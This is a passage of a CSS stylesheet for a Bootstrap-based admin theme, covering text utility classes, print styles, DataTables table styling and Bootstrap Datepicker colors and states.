}\n}\n\n@media (min-width: 992px) {\n  .text-lg-left {\n    text-align: left !important;\n  }\n  .text-lg-right {\n    text-align: right !important;\n  }\n  .text-lg-center {\n    text-align: center !important;\n  }\n}\n\n@media (min-width: 1200px) {\n  .text-xl-left {\n    text-align: left !important;\n  }\n  .text-xl-right {\n    text-align: right !important;\n  }\n  .text-xl-center {\n    text-align: center !important;\n  }\n}\n\n.text-lowercase {\n  text-transform: lowercase !important;\n}\n\n.text-uppercase {\n  text-transform: uppercase !important;\n}\n\n.text-capitalize {\n  text-transform: capitalize !important;\n}\n\n.font-weight-light {\n  font-weight: 300 !important;\n}\n\n.font-weight-normal {\n  font-weight: 400 !important;\n}\n\n.font-weight-bold {\n  font-weight: 700 !important;\n}\n\n.font-italic {\n  font-style: italic !important;\n}\n\n.text-white {\n  color: #fff !important;\n}\n\n.text-primary {\n  color: #009688 !important;\n}\n\na.text-primary:hover, a.text-primary:focus {\n  color: #00635a !important;\n}\n\n.text-secondary {\n  color: #6c757d !important;\n}\n\na.text-secondary:hover, a.text-secondary:focus {\n  color: #545b62 !important;\n}\n\n.text-success {\n  color: #28a745 !important;\n}\n\na.text-success:hover, a.text-success:focus {\n  color: #1e7e34 !important;\n}\n\n.text-info {\n  color: #17a2b8 !important;\n}\n\na.text-info:hover, a.text-info:focus {\n  color: #117a8b !important;\n}\n\n.text-warning {\n  color: #ffc107 !important;\n}\n\na.text-warning:hover, a.text-warning:focus {\n  color: #d39e00 !important;\n}\n\n.text-danger {\n  color: #dc3545 !important;\n}\n\na.text-danger:hover, a.text-danger:focus {\n  color: #bd2130 !important;\n}\n\n.text-light {\n  color: #f8f9fa !important;\n}\n\na.text-light:hover, a.text-light:focus {\n  color: #dae0e5 !important;\n}\n\n.text-dark {\n  color: #343a40 !important;\n}\n\na.text-dark:hover, a.text-dark:focus {\n  color: #1d2124 !important;\n}\n\n.text-muted, .app-notification__meta {\n  color: #6c757d !important;\n}\n\n.text-hide {\n  font: 0/0 a;\n  color: transparent;\n  text-shadow: none;\n  background-color: transparent;\n  border: 0;\n}\n\n.visible {\n  visibility: visible !important;\n}\n\n.invisible {\n  visibility: hidden !important;\n}\n\n@media print {\n  *,\n  *::before,\n  *::after {\n    text-shadow: none !important;\n    -webkit-box-shadow: none !important;\n            box-shadow: none !important;\n  }\n  a:not(.btn) {\n    text-decoration: underline;\n  }\n  abbr[title]::after {\n    content: \" (\" attr(title) \")\";\n  }\n  pre {\n    white-space: pre-wrap !important;\n  }\n  pre,\n  blockquote {\n    border: 1px solid #999;\n    page-break-inside: avoid;\n  }\n  thead {\n    display: table-header-group;\n  }\n  tr,\n  img {\n    page-break-inside: avoid;\n  }\n  p,\n  h2,\n  h3 {\n    orphans: 3;\n    widows: 3;\n  }\n  h2,\n  h3 {\n    page-break-after: avoid;\n  }\n  @page {\n    size: a3;\n  }\n  body {\n    min-width: 992px !important;\n  }\n  .container {\n    min-width: 992px !important;\n  }\n  .navbar {\n    display: none;\n  }\n  .badge {\n    border: 1px solid #000;\n  }\n  .table {\n    border-collapse: collapse !important;\n  }\n  .table td,\n  .table th {\n    background-color: #fff !important;\n  }\n  .table-bordered th,\n  .table-bordered td {\n    border: 1px solid #ddd !important;\n  }\n}\n\ntable.dataTable {\n  clear: both;\n  margin-top: 6px !important;\n  margin-bottom: 6px !important;\n  max-width: none !important;\n}\n\ntable.dataTable td,\ntable.dataTable th {\n  -webkit-box-sizing: content-box;\n  box-sizing: content-box;\n}\n\ntable.dataTable td.dataTables_empty,\ntable.dataTable th.dataTables_empty {\n  text-align: center;\n}\n\ntable.dataTable.nowrap th,\ntable.dataTable.nowrap td {\n  white-space: nowrap;\n}\n\n.tile div.dataTables_wrapper {\n  padding: 0;\n}\n\ndiv.dataTables_wrapper div.dataTables_length label {\n  font-weight: normal;\n  text-align: left;\n  white-space: nowrap;\n}\n\ndiv.dataTables_wrapper div.dataTables_length select {\n  width: 75px;\n  display: inline-block;\n}\n\ndiv.dataTables_wrapper div.dataTables_filter {\n  text-align: right;\n}\n\ndiv.dataTables_wrapper div.dataTables_filter label {\n  font-weight: normal;\n  white-space: nowrap;\n  text-align: left;\n}\n\ndiv.dataTables_wrapper div.dataTables_filter input {\n  margin-left: 0.5em;\n  display: inline-block;\n  width: auto;\n}\n\ndiv.dataTables_wrapper div.dataTables_info {\n  padding-top: 0.85em;\n  white-space: nowrap;\n}\n\ndiv.dataTables_wrapper div.dataTables_paginate {\n  margin: 0;\n  white-space: nowrap;\n  text-align: right;\n}\n\ndiv.dataTables_wrapper div.dataTables_paginate ul.pagination {\n  margin: 2px 0;\n  white-space: nowrap;\n  -webkit-box-pack: end;\n      -ms-flex-pack: end;\n          justify-content: flex-end;\n}\n\ndiv.dataTables_wrapper div.dataTables_processing {\n  position: absolute;\n  top: 50%;\n  left: 50%;\n  width: 200px;\n  margin-left: -100px;\n  margin-top: -26px;\n  text-align: center;\n  padding: 1em 0;\n}\n\ntable.dataTable thead > tr > th.sorting_asc, table.dataTable thead > tr > th.sorting_desc, table.dataTable thead > tr > th.sorting,\ntable.dataTable thead > tr > td.sorting_asc,\ntable.dataTable thead > tr > td.sorting_desc,\ntable.dataTable thead > tr > td.sorting {\n  padding-right: 30px;\n}\n\ntable.dataTable thead > tr > th:active,\ntable.dataTable thead > tr > td:active {\n  outline: none;\n}\n\ntable.dataTable thead .sorting,\ntable.dataTable thead .sorting_asc,\ntable.dataTable thead .sorting_desc,\ntable.dataTable thead .sorting_asc_disabled,\ntable.dataTable thead .sorting_desc_disabled {\n  cursor: pointer;\n  position: relative;\n}\n\ntable.dataTable thead .sorting:before, table.dataTable thead .sorting:after,\ntable.dataTable thead .sorting_asc:before,\ntable.dataTable thead .sorting_asc:after,\ntable.dataTable thead .sorting_desc:before,\ntable.dataTable thead .sorting_desc:after,\ntable.dataTable thead .sorting_asc_disabled:before,\ntable.dataTable thead .sorting_asc_disabled:after,\ntable.dataTable thead .sorting_desc_disabled:before,\ntable.dataTable thead .sorting_desc_disabled:after {\n  position: absolute;\n  bottom: 0.9em;\n  display: block;\n  opacity: 0.3;\n}\n\ntable.dataTable thead .sorting:before,\ntable.dataTable thead .sorting_asc:before,\ntable.dataTable thead .sorting_desc:before,\ntable.dataTable thead .sorting_asc_disabled:before,\ntable.dataTable thead .sorting_desc_disabled:before {\n  right: 1em;\n  content: \"\\2191\";\n}\n\ntable.dataTable thead .sorting:after,\ntable.dataTable thead .sorting_asc:after,\ntable.dataTable thead .sorting_desc:after,\ntable.dataTable thead .sorting_asc_disabled:after,\ntable.dataTable thead .sorting_desc_disabled:after {\n  right: 0.5em;\n  content: \"\\2193\";\n}\n\ntable.dataTable thead .sorting_asc:before,\ntable.dataTable thead .sorting_desc:after {\n  opacity: 1;\n}\n\ntable.dataTable thead .sorting_asc_disabled:before,\ntable.dataTable thead .sorting_desc_disabled:after {\n  opacity: 0;\n}\n\ndiv.dataTables_scrollHead table.dataTable {\n  margin-bottom: 0 !important;\n}\n\ndiv.dataTables_scrollBody table {\n  border-top: none;\n  margin-top: 0 !important;\n  margin-bottom: 0 !important;\n}\n\ndiv.dataTables_scrollBody table thead .sorting:after,\ndiv.dataTables_scrollBody table thead .sorting_asc:after,\ndiv.dataTables_scrollBody table thead .sorting_desc:after {\n  display: none;\n}\n\ndiv.dataTables_scrollBody table tbody tr:first-child th,\ndiv.dataTables_scrollBody table tbody tr:first-child td {\n  border-top: none;\n}\n\ndiv.dataTables_scrollFoot > .dataTables_scrollFootInner {\n  -webkit-box-sizing: content-box;\n          box-sizing: content-box;\n}\n\ndiv.dataTables_scrollFoot > .dataTables_scrollFootInner > table {\n  margin-top: 0 !important;\n  border-top: none;\n}\n\n@media screen and (max-width: 767px) {\n  div.dataTables_wrapper div.dataTables_length,\n  div.dataTables_wrapper div.dataTables_filter,\n  div.dataTables_wrapper div.dataTables_info,\n  div.dataTables_wrapper div.dataTables_paginate {\n    text-align: center;\n  }\n}\n\ntable.dataTable.table-sm > thead > tr > th {\n  padding-right: 20px;\n}\n\ntable.dataTable.table-sm .sorting:before,\ntable.dataTable.table-sm .sorting_asc:before,\ntable.dataTable.table-sm .sorting_desc:before {\n  top: 5px;\n  right: 0.85em;\n}\n\ntable.dataTable.table-sm .sorting:after,\ntable.dataTable.table-sm .sorting_asc:after,\ntable.dataTable.table-sm .sorting_desc:after {\n  top: 5px;\n}\n\ntable.table-bordered.dataTable th,\ntable.table-bordered.dataTable td {\n  border-left-width: 0;\n}\n\ntable.table-bordered.dataTable th:last-child, table.table-bordered.dataTable th:last-child,\ntable.table-bordered.dataTable td:last-child,\ntable.table-bordered.dataTable td:last-child {\n  border-right-width: 0;\n}\n\ntable.table-bordered.dataTable tbody th,\ntable.table-bordered.dataTable tbody td {\n  border-bottom-width: 0;\n}\n\ndiv.dataTables_scrollHead table.table-bordered {\n  border-bottom-width: 0;\n}\n\ndiv.table-responsive > div.dataTables_wrapper > div.row {\n  margin: 0;\n}\n\ndiv.table-responsive > div.dataTables_wrapper > div.row > div[class^=\"col-\"]:first-child {\n  padding-left: 0;\n}\n\ndiv.table-responsive > div.dataTables_wrapper > div.row > div[class^=\"col-\"]:last-child {\n  padding-right: 0;\n}\n\n/*!\n * Datepicker for Bootstrap v1.5.0 (https://github.com/eternicode/bootstrap-datepicker)\n *\n * Copyright 2012 Stefan Petre\n * Improvements by Andrew Rowls\n * Licensed under the Apache License v2.0 (http://www.apache.org/licenses/LICENSE-2.0)\n */\n.datepicker {\n  border-radius: 4px;\n  direction: ltr;\n}\n\n.datepicker-inline {\n  width: 220px;\n}\n\n.datepicker.datepicker-rtl {\n  direction: rtl;\n}\n\n.datepicker.datepicker-rtl table tr td span {\n  float: right;\n}\n\n.datepicker-dropdown {\n  top: 0;\n  left: 0;\n  padding: 4px;\n}\n\n.datepicker-dropdown:before {\n  content: '';\n  display: inline-block;\n  border-left: 7px solid transparent;\n  border-right: 7px solid transparent;\n  border-bottom: 7px solid rgba(0, 0, 0, 0.15);\n  border-top: 0;\n  border-bottom-color: rgba(0, 0, 0, 0.2);\n  position: absolute;\n}\n\n.datepicker-dropdown:after {\n  content: '';\n  display: inline-block;\n  border-left: 6px solid transparent;\n  border-right: 6px solid transparent;\n  border-bottom: 6px solid #ffffff;\n  border-top: 0;\n  position: absolute;\n}\n\n.datepicker-dropdown.datepicker-orient-left:before {\n  left: 6px;\n}\n\n.datepicker-dropdown.datepicker-orient-left:after {\n  left: 7px;\n}\n\n.datepicker-dropdown.datepicker-orient-right:before {\n  right: 6px;\n}\n\n.datepicker-dropdown.datepicker-orient-right:after {\n  right: 7px;\n}\n\n.datepicker-dropdown.datepicker-orient-bottom:before {\n  top: -7px;\n}\n\n.datepicker-dropdown.datepicker-orient-bottom:after {\n  top: -6px;\n}\n\n.datepicker-dropdown.datepicker-orient-top:before {\n  bottom: -7px;\n  border-bottom: 0;\n  border-top: 7px solid rgba(0, 0, 0, 0.15);\n}\n\n.datepicker-dropdown.datepicker-orient-top:after {\n  bottom: -6px;\n  border-bottom: 0;\n  border-top: 6px solid #ffffff;\n}\n\n.datepicker table {\n  margin: 0;\n  -webkit-touch-callout: none;\n  -webkit-user-select: none;\n  -moz-user-select: none;\n  -ms-user-select: none;\n  user-select: none;\n}\n\n.datepicker table tr td,\n.datepicker table tr th {\n  text-align: center;\n  width: 30px;\n  height: 30px;\n  border-radius: 4px;\n  border: none;\n}\n\n.table-striped .datepicker table tr td,\n.table-striped .datepicker table tr th {\n  background-color: transparent;\n}\n\n.datepicker-days tbody tr td {\n  border-radius: 50%;\n  font-weight: 500;\n}\n\n.datepicker table tr td.old,\n.datepicker table tr td.new {\n  color: #999999;\n}\n\n.datepicker table tr td.day:hover,\n.datepicker table tr td.focused {\n  background: #eeeeee;\n  cursor: pointer;\n}\n\n.datepicker table tr td.disabled,\n.datepicker table tr td.disabled:hover {\n  background: none;\n  color: #999999;\n  cursor: default;\n}\n\n.datepicker table tr td.highlighted {\n  color: #000000;\n  background-color: #d9edf7;\n  border-color: #85c5e5;\n  border-radius: 0;\n}\n\n.datepicker table tr td.highlighted:focus,\n.datepicker table tr td.highlighted.focus {\n  color: #000000;\n  background-color: #afd9ee;\n  border-color: #298fc2;\n}\n\n.datepicker table tr td.highlighted:hover {\n  color: #000000;\n  background-color: #afd9ee;\n  border-color: #52addb;\n}\n\n.datepicker table tr td.highlighted:active,\n.datepicker table tr td.highlighted.active,\n.open > .dropdown-toggle.datepicker table tr td.highlighted {\n  color: #000000;\n  background-color: #afd9ee;\n  border-color: #52addb;\n}\n\n.datepicker table tr td.highlighted:active:hover,\n.datepicker table tr td.highlighted.active:hover,\n.open > .dropdown-toggle.datepicker table tr td.highlighted:hover,\n.datepicker table tr td.highlighted:active:focus,\n.datepicker table tr td.highlighted.active:focus,\n.open > .dropdown-toggle.datepicker table tr td.highlighted:focus,\n.datepicker table tr td.highlighted:active.focus,\n.datepicker table tr td.highlighted.active.focus,\n.open > .dropdown-toggle.datepicker table tr td.highlighted.focus {\n  color: #000000;\n  background-color: #91cbe8;\n  border-color: #298fc2;\n}\n\n.datepicker table tr td.highlighted:active,\n.datepicker table tr td.highlighted.active,\n.open > .dropdown-toggle.datepicker table tr td.highlighted {\n  background-image: none;\n}\n\n.datepicker table tr td.highlighted.disabled:hover,\n.datepicker table tr td.highlighted[disabled]:hover,\nfieldset[disabled] .datepicker table tr td.highlighted:hover,\n.datepicker table tr td.highlighted.disabled:focus,\n.datepicker table tr td.highlighted[disabled]:focus,\nfieldset[disabled] .datepicker table tr td.highlighted:focus,\n.datepicker table tr td.highlighted.disabled.focus,\n.datepicker table tr td.highlighted[disabled].focus,\nfieldset[disabled] .datepicker table tr td.highlighted.focus {\n  background-color: #d9edf7;\n  border-color: #85c5e5;\n}\n\n.datepicker table tr td.highlighted.focused {\n  background: #afd9ee;\n}\n\n.datepicker table tr td.highlighted.disabled,\n.datepicker table tr td.highlighted.disabled:active {\n  background: #d9edf7;\n  color: #999999;\n}\n\n.datepicker table tr td.today {\n  color: #000000;\n  background-color: #ffdb99;\n  border-color: #ffb733;\n}\n\n.datepicker table tr td.today:focus,\n.datepicker table tr td.today.focus {\n  color: #000000;\n  background-color: #ffc966;\n  border-color: #b37400;\n}\n\n.datepicker table tr td.today:hover {\n  color: #000000;\n  background-color: #ffc966;\n  border-color: #f59e00;\n}\n\n.datepicker table tr td.today:active,\n.datepicker table tr td.today.active,\n.open > .dropdown-toggle.datepicker table tr td.today {\n  color: #000000;\n  background-color: #ffc966;\n  border-color: #f59e00;\n}\n\n.datepicker table tr td.today:active:hover,\n.datepicker table tr td.today.active:hover,\n.open > .dropdown-toggle.datepicker table tr td.today:hover,\n.datepicker table tr td.today:active:focus,\n.datepicker table tr td.today.active:focus,\n.open > .dropdown-toggle.datepicker table tr td.today:focus,\n.datepicker table tr td.today:active.focus,\n.datepicker table tr td.today.active.focus,\n.open > .dropdown-toggle.datepicker table tr td.today.focus {\n  color: #000000;\n  background-color: #ffbc42;\n  border-color: #b37400;\n}\n\n.datepicker table tr td.today:active,\n.datepicker table tr td.today.active,\n.open > .dropdown-toggle.datepicker table tr td.today {\n  background-image: none;\n}\n\n.datepicker table tr td.today.disabled:hover,\n.datepicker table tr td.today[disabled]:hover,\nfieldset[disabled] .datepicker table tr td.today:hover,\n.datepicker table tr td.today.disabled:focus,\n.datepicker table tr td.today[disabled]:focus,\nfieldset[disabled] .datepicker table tr td.today:focus,\n.datepicker table tr td.today.disabled.focus,\n.datepicker table tr td.today[disabled].focus,\nfieldset[disabled] .datepicker table tr td.today.focus {\n  background-color: #ffdb99;\n  border-color: #ffb733;\n}\n\n.datepicker table tr td.today.focused {\n  background: #ffc966;\n}\n\n.datepicker table tr td.today.disabled,\n.datepicker table tr td.today.disabled:active {\n  background: #ffdb99;\n  color: #999999;\n}\n\n.datepicker table tr td.range {\n  color: #000000;\n  background-color: #eeeeee;\n  border-color: #bbbbbb;\n  border-radius: 0;\n}\n\n.datepicker table tr td.range:focus,\n.datepicker table tr td.range.focus {\n  color: #000000;\n  background-color: #d5d5d5;\n  border-color: #7c7c7c;\n}\n\n.datepicker table tr td.range:hover {\n  color: #000000;\n  background-color: #d5d5d5;\n  border-color: #9d9d9d;\n}\n\n.datepicker table tr td.range:active,\n.datepicker table tr td.range.active,\n.open > .dropdown-toggle.datepicker table tr td.range {\n  color: #000000;\n  background-color: #d5d5d5;\n  border-color: #9d9d9d;\n}\n\n.datepicker table tr td.range:active:hover,\n.datepicker table tr td.range.active:hover,\n.open > .dropdown-toggle.datepicker table tr td.range:hover,\n.datepicker table tr td.range:active:focus,\n.datepicker table tr td.range.active:focus,\n.open > .dropdown-toggle.datepicker table tr td.range:focus,\n.datepicker table tr td.range:active.focus,\n.datepicker table tr td.range.active.focus,\n.open > .dropdown-toggle.datepicker table tr td.range.focus {\n  color: #000000;\n  background-color: #c3c3c3;\n  border-color: #7c7c7c;\n}\n\n.datepicker table tr td.range:active,\n.datepicker table tr td.range.active,\n.open > .dropdown-toggle.datepicker table tr td.range {\n  background-image: none;\n}\n\n.datepicker table tr td.range.disabled:hover,\n.datepicker table tr td.range[disabled]:hover,\nfieldset[disabled] .datepicker table tr td.range:hover,\n.datepicker table tr td.range.disabled:focus,\n.datepicker table tr td.range[disabled]:focus,\nfieldset[disabled] .datepicker table tr td.range:focus,\n.datepicker table tr td.range.disabled.focus,\n.datepicker table tr td.range[disabled].focus,\nfieldset[disabled] .datepicker table tr td.range.focus {\n  background-color: #eeeeee;\n  border-color: #bbbbbb;\n}\n\n.datepicker table tr td.range.focused {\n  background: #d5d5d5;\n}\n\n.datepicker table tr td.range.disabled,\n.datepicker table tr td.range.disabled:active {\n  background: #eeeeee;\n  color: #999999;\n}\n\n.datepicker table tr td.range.highlighted {\n  color: #000000;\n  background-color: #e4eef3;\n  border-color: #9dc1d3;\n}\n\n.datepicker table tr td.range.highlighted:focus,\n.datepicker table tr td.range.highlighted.focus {\n  color: #000000;\n  background-color: #c1d7e3;\n  border-color: #4b88a6;\n}\n\n.datepicker table tr td.range.highlighted:hover {\n  color: #000000;\n  background-color: #c1d7e3;\n  border-color: #73a6c0;\n}\n\n.datepicker table tr td.range.highlighted:active,\n.datepicker table tr td.range.highlighted.active,\n.open > .dropdown-toggle.datepicker table tr td.range.highlighted {\n  color: #000000;\n  background-color: #c1d7e3;\n  border-color: #73a6c0;\n}\n\n.datepicker table tr td.range.highlighted:active:hover,\n.datepicker table tr td.range.highlighted.active:hover,\n.open > .dropdown-toggle.datepicker table tr td.range.highlighted:hover,\n.datepicker table tr td.range.highlighted:active:focus,\n.datepicker table tr td.range.highlighted.active:focus,\n.open > .dropdown-toggle.datepicker table tr td.range.highlighted:focus,\n.datepicker table tr td.range.highlighted:active.focus,\n.datepicker table tr td.range.highlighted.active.focus,\n.open > .dropdown-toggle.datepicker table tr td.range.highlighted.focus {\n  color: #000000;\n  background-color: #a8c8d8;\n  border-color: #4b88a6;\n}\n\n.datepicker table tr td.range.highlighted:active,\n.datepicker table tr td.range.highlighted.active,\n.open > .dropdown-toggle.datepicker table tr td.range.highlighted {\n  background-image: none;\n}\n\n.datepicker table tr td.range.highlighted.disabled:hover,\n.datepicker table tr td.range.highlighted[disabled]:hover,\nfieldset[disabled] .datepicker table tr td.range.highlighted:hover,\n.datepicker table tr td.range.highlighted.disabled:focus,\n.datepicker table tr td.range.highlighted[disabled]:focus,\nfieldset[disabled] .datepicker table tr td.range.highlighted:focus,\n.datepicker table tr td.range.highlighted.disabled.focus,\n.datepicker table tr td.range.highlighted[disabled].focus,\nfieldset[disabled] .datepicker table tr td.range.highlighted.focus {\n  background-color: #e4eef3;\n  border-color: #9dc1d3;\n}\n\n.datepicker table tr td.range.highlighted.focused {\n  background: #c1d7e3;\n}\n\n.datepicker table tr td.range.highlighted.disabled,\n.datepicker table tr td.range.highlighted.disabled:active {\n  background: #e4eef3;\n  color: #999999;\n}\n\n.datepicker table tr td.range.today {\n  color: #000000;\n  background-color: #f7ca77;\n  border-color: #f1a417;\n}\n\n.datepicker table tr td.range.today:focus,\n.datepicker table tr td.range.today.focus {\n  color: #000000;\n  background-color: #f4b747;\n  border-color: #815608;\n}\n\n.datepicker table tr td.range.today:hover {\n  color: #000000;\n  background-color: #f4b747;\n  border-color: #bf800c;\n}\n\n.datepicker table tr td.range.today:active,\n.datepicker table tr td.range.today.active,\n.open > .dropdown-toggle.datepicker table tr td.range.today {\n  color: #000000;\n  background-color: #f4b747;\n  border-color: #bf800c;\n}\n\n.datepicker table tr td.range.today:active:hover,\n.datepicker table tr td.range.today.active:hover,\n.open > .dropdown-toggle.datepicker table tr td.range.today:hover,\n.datepicker table tr td.range.today:active:focus,\n.datepicker table tr td.range.today.active:focus,\n.open > .dropdown-toggle.datepicker table tr td.range.today:focus,\n.datepicker table tr td.range.today:active.focus,\n.datepicker table tr td.range.today.active.focus,\n.open > .dropdown-toggle.datepicker table tr td.range.today.focus {\n  color: #000000;\n  background-color: #f2aa25;\n  border-color: #815608;\n}\n\n.datepicker table tr td.range.today:active,\n.datepicker table tr td.range.today.active,\n.open > .dropdown-toggle.datepicker table tr td.range.today {\n  background-image: none;\n}\n\n.datepicker table tr td.range.today.disabled:hover,\n.datepicker table tr td.range.today[disabled]:hover,\nfieldset[disabled] .datepicker table tr td.range.today:hover,\n.datepicker table tr td.range.today.disabled:focus,\n.datepicker table tr td.range.today[disabled]:focus,\nfieldset[disabled] .datepicker table tr td.range.today:focus,\n.datepicker table tr td.range.today.disabled.focus,\n.datepicker table tr td.range.today[disabled].focus,\nfieldset[disabled] .datepicker table tr td.range.today.focus {\n  background-color: #f7ca77;\n  border-color: #f1a417;\n}\n\n.datepicker table tr td.range.today.disabled,\n.datepicker table tr td.range.today.disabled:active {\n  background: #f7ca77;\n  color: #999999;\n}\n\n.datepicker table tr td.selected,\n.datepicker table tr td.selected.highlighted {\n  color: #ffffff;\n  background-color: #999999;\n  border-color: #555555;\n  text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25);\n}\n\n.datepicker table tr td.selected:focus,\n.datepicker table tr td.selected.highlighted:focus,\n.datepicker table tr td.selected.focus,\n.datepicker table tr td.selected.highlighted.focus {\n  color: #ffffff;\n  background-color: #808080;\n  border-color: #161616;\n}\n\n.datepicker table tr td.selected:hover,\n.datepicker table tr td.selected.highlighted:hover {\n  color: #ffffff;\n  background-color: #808080;\n  border-color: #373737;\n}\n\n.datepicker table tr td.selected:active,\n.datepicker table tr td.selected.highlighted:active,\n.datepicker table tr td.selected.active,\n.datepicker table tr td.selected.highlighted.active,\n.open > .dropdown-toggle.datepicker table tr td.selected,\n.open > .dropdown-toggle.datepicker table tr td.selected.highlighted {\n  color: #ffffff;\n  background-color: #808080;\n  border-color: #373737;\n}\n\n.datepicker table tr td.selected:active:hover,\n.datepicker table tr td.selected.highlighted:active:hover,\n.datepicker table tr td.selected.active:hover,\n.datepicker table tr td.selected.highlighted.active:hover,\n.open > .dropdown-toggle.datepicker table tr td.selected:hover,\n.open > .dropdown-toggle.datepicker table tr td.selected.highlighted:hover,\n.datepicker table tr td.selected:active:focus,\n.datepicker table tr td.selected.highlighted:active:focus,\n.datepicker table tr td.selected.active:focus,\n.datepicker table tr td.selected.highlighted.active:focus,\n.open > .dropdown-toggle.datepicker table tr td.selected:focus,\n.open > .dropdown-toggle.datepicker table tr td.selected.highlighted:focus,\n.datepicker table tr td.selected:active.focus,\n.datepicker table tr td.selected.highlighted:active.focus,\n.datepicker table tr td.selected.active.focus,\n.datepicker table tr td.selected.highlighted.active.focus,\n.open > .dropdown-toggle.datepicker table tr td.selected.focus,\n.open > .dropdown-toggle.datepicker table tr td.selected.highlighted.focus {\n  color: #ffffff;\n  background-color: #6e6e6e;\n  border-color: #161616;\n}\n\n.datepicker table tr td.selected:active,\n.datepicker table tr td.selected.highlighted:active,\n.datepicker table tr td.selected.active,\n.datepicker table tr td.selected.highlighted.active,\n.open > .dropdown-toggle.datepicker table tr td.selected,\n.open > .dropdown-toggle.datepicker table tr td.selected.highlighted {\n  background-image: none;\n}\n\n.datepicker table tr td.selected.disabled:hover,\n.datepicker table tr td.selected.highlighted.disabled:hover,\n.datepicker table tr td.selected[disabled]:hover,\n.datepicker table tr td.selected.highlighted[disabled]:hover,\nfieldset[disabled] .datepicker table tr td.selected:hover,\nfieldset[disabled] .datepicker table tr td.selected.highlighted:hover,\n.datepicker table tr td.selected.disabled:focus,\n.datepicker table tr td.selected.highlighted.disabled:focus,\n.datepicker table tr td.selected[disabled]:focus,\n.datepicker table tr td.selected.highlighted[disabled]:focus,\nfieldset[disabled] .datepicker table tr td.selected:focus,\nfieldset[disabled] .datepicker table tr td.selected.highlighted:focus,\n.datepicker table tr td.selected.disabled.focus,\n.datepicker table tr td.selected.highlighted.disabled.focus,\n.datepicker table tr td.selected[disabled].focus,\n.datepicker table tr td.selected.highlighted[disabled].focus,\nfieldset[disabled] .datepicker table tr td.selected.focus,\nfieldset[disabled] .datepicker table tr td.selected.highlighted.focus {\n  background-color: #999999;\n  border-color: #555555;\n}\n\n.datepicker table tr td.active,\n.datepicker table tr td.active.highlighted {\n  color: #ffffff;\n  background-color: #428bca;\n  border-color: #357ebd;\n  text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25);\n}\n\n.datepicker table tr td.active:focus,\n.datepicker table tr td.active.highlighted:focus,\n.datepicker table tr td.active.focus,\n.datepicker table tr td.active.highlighted.focus {\n  color: #ffffff;\n  background-color: #009688;\n  border-color: #193c5a;\n}\n\n.datepicker table tr td.active:hover,\n.datepicker table tr td.active.highlighted:hover {\n  color: #ffffff;\n  background-color: #009688;\n  border-color: #007d71;\n}\n\n.datepicker table tr td.active:active,\n.datepicker table tr td.active.highlighted:active,\n.datepicker table tr td.active.active,\n.datepicker table tr td.active.highlighted.active,\n.open > .dropdown-toggle.datepicker table tr td.active,\n.open > .dropdown-toggle.datepicker table tr td.active.highlighted {\n  color: #ffffff;\n  background-color: #009688;\n  border-color: #007d71;\n}\n\n.datepicker table tr td.active:active:hover,\n.datepicker table tr td.active.highlighted:active:hover,\n.datepicker table tr td.active.active:hover,\n.datepicker table tr td.active.highlighted.active:hover,\n.open > .dropdown-toggle.datepicker table tr td.active:hover,\n.open > .dropdown-toggle.datepicker table tr td.active.highlighted:hover,\n.datepicker table tr td.active:active:focus,\n.datepicker table tr td.active.highlighted:active:focus,\n.datepicker table tr td.active.active:focus,\n.datepicker table tr td.active.highlighted.active:focus,\n.open > .dropdown-toggle.datepicker table tr td.active:focus,\n.open > .dropdown-toggle.datepicker table tr td.active.highlighted:focus,\n.datepicker table tr td.active:active.focus,\n.datepicker table tr td.active.highlighted:active.focus,\n.datepicker table tr td.active.active.focus,\n.datepicker table tr td.active.highlighted.active.focus,\n.open > .dropdown-toggle.datepicker table tr td.active.focus,\n.open > .dropdown-toggle.datepicker table tr td.active.highlighted.focus {\n  color: #ffffff;\n  background-color: #007d71;\n  border-color: #193c5a;\n}\n\n.datepicker table tr td.active:active,\n.datepicker table tr td.active.highlighted:active,\n.datepicker table tr td.active.active,\n.datepicker table tr td.active.highlighted.active,\n.open > .dropdown-toggle.datepicker table tr td.active,\n.open > .dropdown-toggle.datepicker table tr td.active.highlighted {\n  background-image: none;\n}\n\n.datepicker table tr td.active.disabled:hover,\n.datepicker table tr td.active.highlighted.disabled:hover,\n.datepicker table tr td.active[disabled]:hover,\n.datepicker table tr td.active.highlighted[disabled]:hover,\nfieldset[disabled] .datepicker table tr td.active:hover,\nfieldset[disabled] .datepicker table tr td.active.highlighted:hover,\n.datepicker table tr td.active.disabled:focus,\n.datepicker table tr td.active.highlighted.disabled:focus,\n.datepicker table tr td.active[disabled]:focus,\n.datepicker table tr td.active.highlighted[disabled]:focus,\nfieldset[disabled] .datepicker table tr td.active:focus,\nfieldset[disabled] .datepicker table tr td.active.highlighted:focus,\n.datepicker table tr td.active.disabled.focus,\n.datepicker table tr td.active.highlighted.disabled.focus,\n.datepicker table tr td.active[disabled].focus,\n.datepicker table tr td.active.highlighted[disabled].focus,\nfieldset[disabled] .datepicker table tr td.active.focus,\nfieldset[disabled] .datepicker table tr td.active.highlighted.focus {\n  background-color: #428bca;\n  border-color: #357ebd;\n}\n\n.datepicker table tr td span {\n  display: block;\n  width: 23%;\n  height: 54px;\n  line-height: 54px;\n  float: left;\n  margin: 1%;\n  cursor: pointer;\n  border-radius: 4px;\n}\n\n.datepicker table tr td span:hover {\n  background: #eeeeee;\n}\n\n.datepicker table tr td span.disabled,\n.datepicker table tr td span.disabled:hover {\n  background: none;\n  color: #999999;\n  cursor: default;\n}\n\n.datepicker table tr td span.active,\n.datepicker table tr td span.active:hover,\n.datepicker table tr td span.active.disabled,\n.datepicker table tr td span.active.disabled:hover {\n  color: #ffffff;\n  background-color: #428bca;\n  border-color: #357ebd;\n  text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25);\n}\n\n.datepicker table tr td span.active:focus,\n.datepicker table tr td span.active:hover:focus,\n.datepicker table tr td span.active.disabled:focus,\n.datepicker table tr td span.active.disabled:hover:focus,\n.datepicker table tr td span.active.focus,\n.datepicker table tr td span.active:hover.focus,\n.datepicker table tr td span.active.disabled.focus,\n.datepicker table tr td span.active.disabled:hover.focus {\n  color: #ffffff;\n  background-color: #009688;\n  border-color: #193c5a;\n}\n\n.datepicker table tr td span.active:hover,\n.datepicker table tr td span.active:hover:hover,\n.datepicker table tr td span.active.disabled:hover,\n.datepicker table tr td span.active.disabled:hover:hover {\n  color: #ffffff;\n  background-color: #009688;\n  border-color: #007d71;\n}\n\n.datepicker table tr td span.active:active,\n.datepicker table tr td span.active:hover:active,\n.datepicker table tr td 